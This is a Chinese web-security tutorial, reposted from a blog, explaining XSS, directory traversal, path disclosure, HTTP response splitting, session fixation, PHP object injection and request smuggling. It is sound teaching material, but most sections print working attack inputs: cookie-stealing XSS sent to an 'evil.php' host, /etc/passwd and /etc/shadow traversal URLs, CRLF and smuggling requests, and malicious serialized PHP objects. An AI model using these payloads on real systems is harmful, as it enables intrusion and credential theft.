如何确定xss漏洞?该漏洞很难发现和移除,最好的方式是代码安全检查,找到所有从http请求输入的且映像html输出的地方,很多html标签都可以用于传输js脚本,Nessus Nikto等工具可以扫描这类漏洞,但也只是浅层的。如何对抗xss?关键在于移除HTTP TRACE支持,攻击者可以在ducument.cookie禁用或不支持的情况下窃取cookie,当一个用户在论坛上帖了恶意脚本而其他用户点击了链接,就会产生同步http trace收集用户信息并发给恶意服务器
xss分类:
存储型xss:用户输入存储在目标服务器(数据库论坛、游客日志、注释字段),受害者从web返回数据时浏览器没有正确渲染,随着HTML5出现,payload会永久存储在受害者的浏览器,而不会发送到服务器
反射型xss :用户输入以错误消息、搜索结果或其他包含请求的响应形式立即返回时浏览器没有正确渲染,也没有永久存储用户提供的数据
https://wahh-app.com/error.php?message=<script>alert('xss');</script>
基于dom的xss:程序发布的脚本可以从url提取数据并处理,然后动态更新页面内容
另一种分类方法:
Server XSS:不可信用户数据包含在服务器产生的html响应中,这些数据可能来源于请求或某个存储位置。包括存储型xss和反射型xss,防御手段:服务端输出编码
Client XSS:不可信用户数据通过javascript更新用于更新dom,防御手段:使用安全javascript api
例:
攻击:
<body onload=alert('test1')>
<b onmouseover=alert('Wufff!')>clickme!</b>
<imgsrc="http://url.to.file.which/not.exist"onerror=alert(document.cookie);>
URI编码          <IMGSRC=j&#X41vascript:alert('test2')>
base64编码    <META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
漏洞:
<% String eid= request.getParameter("eid"); %>
        ...
        EmployeeID: <%= eid %>
 
        <%...
         Statement stmt = conn.createStatement();
         ResultSet rs = stmt.executeQuery("select *from emp where id="+eid);
         if (rs != null) {
          rs.next();
          String name = rs.getString("name");
        %>
       
        EmployeeName: <%= name %>
 
攻击:
<SCRIPTtype="text/javascript">
var adr = '../evil.php?cakemonster=' +escape(document.cookie);
</SCRIPT>
 
<html>
<body>
 
漏洞
<? php
print "Not found: " .urldecode($_SERVER["REQUEST_URI"]);
?>
 
</body>
</html>
http://testsite.test/<script>alert("TEST");</script>
结果Not found: / (but with JavaScript code<script>alert("TEST");</script>)
 
 


目录遍历
通过在路径中添加../等形式访问目录和文件的攻击方式,受限于系统访问控制
请求中:
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.
 
URL编码
..%c0%af represents ../
..%c1%9c represents ..\
 
OS特定
UNIX
Root directory:  “ / “
Directory separator: “ / “
WINDOWS
Root directory: “  <partition letter> : \ “
Directory separator: “ / “ or “ \ ”            windows允许文件名后加. \  字符
在很多操作系统中%00可以用于文件名终止符,例如?file=secret.doc%00.pdf造成java程序认为后缀pdf而系统认为doc
 
例1
http://some_site.com.br/get-files.jsp?file=report.pdf 
http://some_site.com.br/get-page.php?home=aaa.html 
http://some_site.com.br/some-page.asp?page=index.html 
攻击形式
http://some_site.com.br/get-files?file=../../../../somedir/some file
http://some_site.com.br/../../../../somedir/some file
http://some_site.com.br/../../../../etc/shadow 
http://some_site.com.br/get-files?file=/etc/passwd
注意windows系统中仅可遍历存储网站根节点的当前分区,而linux可以遍历整个磁盘
 
遍历外部站点的文件和脚本
http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php
显示CGI源码
http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi 
 
例2
<?php
$template = 'blue.php';
if ( is_set( $_COOKIE['TEMPLATE'] ) )
  $template = $_COOKIE['TEMPLATE'];
include ( "/home/users/phpguru/templates/". $template );
?>
http攻击
GET /vulnerable.php HTTP/1.0
Cookie:TEMPLATE=../../../../../../../../../etc/passwd
收到响应
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache
 
root:fi3sED95ibqR6:0:1:SystemOperator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
 
例3 绝对目录遍历
http://testsite.com/get.php?f=list
http://testsite.com/get.cgi?f=2
http://testsite.com/get.asp?f=test
攻击
http://testsite.com/get.php?f=/var/www/html/get.php
http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc
http://testsite.com/get.asp?f=/etc/passwd


爆路径
        泄漏全路径(FPD)漏洞,攻击者可利用该漏洞查看任意路径,某些漏洞使用了load_file则可以查看整个文件
1.构造查询获取文件内容:
<?php
  echo file_get_contents(getcwd().$_GET['page']);
?>
攻击者构造http://site.com/index.php?page=../../../../../../../home/example/public_html/includes/config.php
将得到文件内容
 
2.根据路径得知操作系统(windows以字母开头,unix以反斜杠开头)
 
3.构造异常获取路径:
空数组异常
正常网页查询http://site.com/index.php?page=about
构造语句产生异常http://site.com/index.php?page[]=about
Warning: opendir(Array): failed to opendir: No such file or directory in /home/omg/htdocs/index.php on line 84
Warning: pg_num_rows(): supplied argument... in /usr/home/example/html/pie/index.php on line 131
 
空指针异常
javascript:void(document.cookie="PHPSESSID=");
Warning: session_start()[function.session-start]: The session id contains illegal characters,
valid characters are a-z, A-Z, 0-9 and '-,'in /home/example/public_html/includes/functions.php on line 2
 
非法cookie异常
过长cookie
javascript:void(document.cookie='PHPSESSID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
含有保留字符
javascript:void(document.cookie='PHPSESSID=.');
 
防止显示异常也很简单error_reporting(0);
 
 
直接访问需要预加载库的文件发生异常,是文件包含漏洞的标志
http://site.com/mambo/mambots/editors/mostlyce/jscripts/tiny_mce/plugins/spellchecker/classes/PSpellShell.php
得到
<br />
<b>Fatal error</b>:  Class 'SpellChecker' not found in<b>/home/victim/public_html/mambo/mambots/editors/mostlyce/jscripts/tiny_mce/plugins/spellchecker/classes/PSpellShell.php</b>on line <b>9</b><br />


跨用户攻击
        这种攻击中,可以构造一个请求使服务器创建二个响应,第二个响应被服务器错误的解释成对另一个请求的响应,实现的方法可以让用户提交有恶意请求,或者远程共享tcp连接例如代理服务器,最终获取账户信息。由于条件极其苛刻,这种攻击很难在实际环境中实现;而由于存在http响应拆分和其他缺陷,该种攻击又是可能的,其关键在于web app是否允许头域存在CR和LF字符。
        例:http://testsite.com/redir.php?page=http://other.testsite.com/
        rezos@spin~/public_html $ cat redir.php
<?php
header ("Location: " . $_GET['page']);
?>
伪造请求:
/redir.php?page=http://other.testsite.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>deface</html>
服务器返回2个响应:
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location:http://testsite.com/redir.php?page=http://other.testsite.com
Content-Length: 0
 
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>deface</html>
若用户使用tcp连接(代理缓存),发送/index.html请求,则第二个响应会作为该请求的回应,从而代替原始网页


会话固定攻击
        是一种会话劫持攻击,攻击者利用web ap管理会话id的缺陷,劫持合法用户的会话。若用户被认证后不重新分配会话id,就可能使用已有会话id,攻击者获取一个合法id,并诱导用户使用该id认证,之后使用该id劫持用户会话。下面几种常见技术用于实施攻击,取决于web app如何处理会话令牌:
        会话令牌存在于url参数:诱导用户访问url
        会话令牌存在于隐藏表格域:诱导用户从表格(html或email)登录
        会话令牌存在于cookie
客户端脚本:大部分浏览器支持客户端脚本,攻击者发送带恶意代码的链接给用户,并使用document.cookie函数将cookie中的指定会话id固定
<META>标记:代码注入攻击的一种,由于无法禁止浏览器处理标记,因此这种攻击方式比较高效
HTTP头响应:在响应中插入会话id发送给用户浏览器
例1:
1.      攻击者与web服务器连接
2.      使用会话id创建新会话
3.      将链接发给用户点击
4.      对用户请求,Web服务器认为会话已建立,不再创建新会话
5.      用户提交认证
6.      攻击者使用用户身份登录
例2
        客户端脚本        http://website.kom/<script>document.cookie=”sessionid=abcd”;</script>
        <META>标记   http://website.kon/<metahttp-equiv=Set-Cookie content=”sessionid=abcd”>
        HTTP响应头


PHP对象攻击
        PHP对象注入有助于攻击者使用多种攻击方式如代码注入、SQL注入、目录遍历、拒绝服务攻击,产生原因为在unserialize()函数之前没有正确处理用户输入,导致对象注入到web app中。要成功利用php对象注入需要满足下面2个条件:
        App必须有类实现phpmagic方法(如__wakeup __destruct)用于执行攻击或触发POP chain
        攻击中用到的所有类都必须在unserialize()调用时声明,否则对象的autoloading必须支持这种类
例1:
class Example1
{
  public $cache_file;
  function __construct()
   {
     // some PHP code...
   }
  function __destruct()
   {
     $file = "/var/www/cache/tmp/{$this->cache_file}";
     if (file_exists($file)) @unlink($file);
   }
}
// some PHP code...
$user_data = unserialize($_GET['data']);
// some PHP code.
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}
 
例2:
class Example2
{
  private $hook;
  function __construct()
   {
     // some PHP code...
   }
  function __wakeup()
   {
     if (isset($this->hook)) eval($this->hook);
   }
}
// some PHP code...
$user_data = unserialize($_COOKIE['data']);
// some PHP code...
 
GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie:data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close
Cookie参数data通过以下脚本生成:
class Example2
{
  private $hook = "phpinfo();";
}
print urlencode(serialize(new Example2));
 
例3:
class Example3
{
  protected $obj;
  function __construct()
   {
     // some PHP code...
   }
  function __toString()
   {
     if (isset($this->obj)) return $this->obj->getValue();
   }
}
// some PHP code...
$user_data = unserialize($_POST['data']);
// some PHP code...
 
class SQL_Row_Value
{
  private $_table;
   //some PHP code...
  function getValue($id)
   {
     $sql = "SELECT * FROM {$this->_table} WHERE id = " .(int)$id;
     $result = mysql_query($sql, $DBFactory::getConnection());
     $row = mysql_fetch_assoc($result);
     return $row['value'];
   }
}
构造的语句生成如下:
class SQL_Row_Value
{
  private $_table = "SQL Injection";
}
 
 
 
 


HTTP请求走私
        HTTP请求走私通过中介HTTP系统做代理,获取未完整解析的提交数据,在用户未察觉的情况下发送特意构造的HTTP请求使系统以不同方式解析。该攻击有助于其他攻击类型,如缓存投毒、会话劫持、XSS、防火墙/IPS/IDS逃逸、前向/后向HRS、请求劫持、请求证书劫持等。HTTP请求走私需要满足一定条件,特定的代理系统或版本如SunOne Proxy 3.6(SP4)或FW-1/FP4-R55W beta或web服务器存在xss漏洞,基本上该攻击提交的HTTP请求在头部封装了另一个HTTP请求,例如:
some_page.jsp?param1=value1&param2=
Content-Type: application/x-www-form-
Content-Length: 0
Foobar: GET /mypage.jsp HTTP/1.0
Cookie: my_id=1234567
Authorization: Basic ugwerwguwygruwy
        这种情况下第一个http头由代理系统解析,而第二个由系统解析,使得攻击者绕过代理的访问控制
例1 缓存投毒
        该例证明了经典的HRS攻击,如果POST请求包含2个”Content-Length”头域,某些服务器会拒绝这样的请求(IIS Apache等),而另一些则忽略错误的头。那么哪个头是错误的呢?对于不同服务器的处理不同,例如SunONE W/S 6.1 (SP1)使用第一个Content-Length头,而SunONE Proxy 3.6 (SP4)使用第二个,
1 POST http://SITE/foobar.html HTTP/1.1
2 Host: SITE
3 Connection: Keep-Alive
4 Content-Type:application/x-www-form-urlencoded
5 Content-Length: 0
6 Content-Length: 44
7 [CRLF]
8 GET /poison.html HTTP/1.1
9 Host: SITE
10 Bla: [space after the "Bla:",but no CRLF]
11 GET http://SITE/page_to_poison.htmlHTTP/1.1
12 Host: SITE
13 Connection: Keep-Alive
14 [CRLF]
注意除了第10行之外每行以CRLF(“\r\n”)结尾,在发送给代理服务器后,首先代理服务器解析POST请求的1-7行,遇到了2个Content-Length头,会忽略掉第一个头,因此认为body有44字节,8-10行为第一个请求的body,11-14行为第二个请求而body,从而转去解析11-14行。而W/S会使用第一个Content-Length,第一个post请求没有body,而第二个请求是第8行的GET
                                 1strequest        2nd request
           SunONE Proxy          lines1-10        lines 11-14
           SunONE W/S            lines1-7         lines 8-14
W/S看到的请求是”POST/foobar.html”和”GET /poison.html”,所以返回2个请求分别是foobar.html和poison.html,而代理认为用户发送的请求是”POST /foobar.html”和”GET /page_to_poison.html”,由于响应是可缓存的(假定poison.html是缓存页),代理在”page_to_poison.html”这个URL下缓存了poison.html的内容,这样实现了缓存投毒。任何请求”page_to_poison.html”都会收到poison.html页,而1-10行和11-14行会被发送2个包。
例2:请求证书劫持
        攻击者使用用户的证书触发脚本some_page.jsp
POST /some_script.jsp HTTP/1.0
Connection: Keep-Alive
Content-Type:application/x-www-form-urlencoded
Content-Length: 9
Content-Length: 142
this=that
GET /some_page.jsp?param1=value1&param2=value2HTTP/1.0
Content-Type:application/x-www-form-urlencoded
Content-Length: 0
Foobar:
当用户发送
GET /mypage.jsp HTTP/1.0
Cookie: my_id=1234567
Authorization: Basic ugwerwguwygruwy
Tomcat会将该请求与队列中不完整请求合并实施攻击:
GET /some_page.jsp?param1=value1&param2=value2HTTP/1.0
Content-Type:application/x-www-form-urlencoded
Content-Length: 0
Foobar: GET /mypage.jsp HTTP/1.0
Cookie: my_id=1234567
Authorization: Basic ugwerwguwygruwy
 
 

HTTP响应拆分
        HTTP响应拆分的成功实施,必须保证平台存在CRLF字符漏洞(多数服务器早已修复该漏洞),,发生原因:
                进入web app的数据是不可信的,通常是HTTP请求
                发送给用户的HTTP响应头中的数据未验证
        该种攻击会导致其他攻击:缓存投毒、XSS、页劫持
例:
        Stringauthor = request.getParameter(AUTHOR_PARAM);
        ...
        Cookiecookie = new Cookie("author", author);
       cookie.setMaxAge(cookieExpiration);
       response.addCookie(cookie);
请求的响应:
HTTP/1.1 200 OK
        ...
        Set-Cookie:author=Jane Smith
若AUTHOR_PARAM包含CRLF字符,例如Wiley Hacker\r\nContent-Length:45\r\n\r\n...,则收到响应:
HTTP/1.1 200 OK
        ...
        Set-Cookie:author=Wiley Hacker
        Content-Length:999
       
        <html>maliciouscontent...</html> (to 999th character in this example)
        Originalcontent starting with character 1000, which is now ignored by the webbrowser...
文章转载自:http://blog.csdn.net/lichao890427/article/details/51762117
0 0